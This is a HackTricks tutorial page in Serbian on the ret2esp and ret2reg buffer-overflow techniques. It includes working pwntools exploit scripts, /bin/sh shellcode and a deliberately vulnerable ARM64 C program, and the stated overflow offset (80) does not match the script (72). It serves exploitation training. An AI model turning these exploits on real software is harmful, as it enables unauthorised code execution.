Ret2esp / Ret2reg

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Ret2esp

Zato što ESP (Stack Pointer) uvek pokazuje na vrh steka, ova tehnika uključuje zamenu EIP (Instruction Pointer) adresom jmp esp ili call esp instrukcije. Time se shellcode postavlja odmah nakon prepisanog EIP-a. Kada se izvrši ret instrukcija, ESP pokazuje na sledeću adresu, tačno gde je smešten shellcode.

Ako Address Space Layout Randomization (ASLR) nije omogućen u Windows-u ili Linux-u, moguće je koristiti jmp esp ili call esp instrukcije pronađene u deljenim bibliotekama. Međutim, sa ASLR aktivnim, možda ćete morati potražiti ove instrukcije unutar ranjivog programa (i možda ćete morati pobediti PIE).

Osim toga, mogućnost postavljanja shellcode-a nakon korupcije EIP-a, umesto u sredini steka, osigurava da bilo koje push ili pop instrukcije izvršene tokom rada funkcije ne ometaju shellcode. Do ometanja bi došlo ako bi se shellcode postavio u sredinu steka funkcije.

Nedostatak prostora

Ako vam nedostaje prostora za pisanje nakon prepisivanja RIP-a (možda samo nekoliko bajtova), napišite početni jmp shellcode kao:

sub rsp, 0x30
jmp rsp

I napišite shellcode rano na steku.

Primer

Možete pronaći primer ove tehnike na https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp sa konačnim eksploatacijom kao:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')

pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()

Možete videti još jedan primer ove tehnike na https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html. Postoji prelivanje bafera bez omogućenog NX, koristi se gedžet za smanjenje adrese $esp a zatim jmp esp; da bi se skočilo na shellcode:

# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *

# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')

# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Establish our rop gadgets

# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)

# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)

# Make the payload

payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget

# Send our payload
target.sendline(payload)

# Drop to an interactive shell
target.interactive()

Ret2reg

Slično, ako znamo da funkcija vraća adresu gde je smešten shell kod, možemo iskoristiti call eax ili jmp eax instrukcije (poznate kao tehnika ret2eax), nudeći drugi način za izvršavanje našeg shell koda. Baš kao eax, bilo koji drugi registar koji sadrži zanimljivu adresu može se koristiti (ret2reg).

Primer

Možete pronaći neke primere ovde:

ARM64

Ret2sp

U ARM64 nema instrukcija koje omogućavaju skok na SP registar. Moguće je pronaći gedžet koji pomeri sp u registar, a zatim skoči na taj registar, ali u libc-u mog Kali-ja nisam mogao pronaći takav gedžet:

for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done

Jedini koje sam otkrio bi promenili vrednost registra gde je sp kopiran pre skakanja na njega (tako da bi postao beskoristan):

Ret2reg

Ako registar ima zanimljivu adresu, moguće je skočiti na nju pronalaženjem odgovarajuće instrukcije. Mogli biste koristiti nešto poput:

ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";

U ARM64, to je x0 koji čuva vrednost povratka funkcije, tako da bi moglo biti da x0 čuva adresu bafera koji kontroliše korisnik sa shellcode-om za izvršenje.

Primer koda:

// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack

#include <stdio.h>
#include <string.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}

char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}

int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}

Proverom disasemblera funkcije moguće je videti da je adresa bafera (ranjivog na preplavljivanje bafera i kontrolisanog od strane korisnika) smeštena u x0 pre povratka iz preplavljivanja bafera:

Takođe je moguće pronaći uređaj br x0 u funkciji do_stuff:

Iskoristićemo taj uređaj da bismo skočili na njega jer je binarni fajl kompajliran BEZ PIE-a. Korišćenjem obrasca moguće je videti da je pomeraj preplavljivanja bafera 80, pa bi eksploatacija bila:

from pwn import *

p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')

stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0

p.sendline(payload)
p.interactive()

Ako umesto fgets bude korišćeno nešto poput read, bilo bi moguće zaobići PIE takođe samo prepisivanjem poslednja 2 bajta povratne adrese da se vrati na instrukciju br x0; bez potrebe da se zna kompletan adresa. Sa fgets to ne funkcioniše jer dodaje nulu (0x00) na kraju.

Zaštite

  • NX: Ako stek nije izvršiv, ovo neće pomoći jer moramo postaviti shellkod na stek i skočiti da ga izvršimo.

  • ASLR & PIE: To može otežati pronalaženje instrukcije za skok na esp ili bilo koji drugi registar.

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated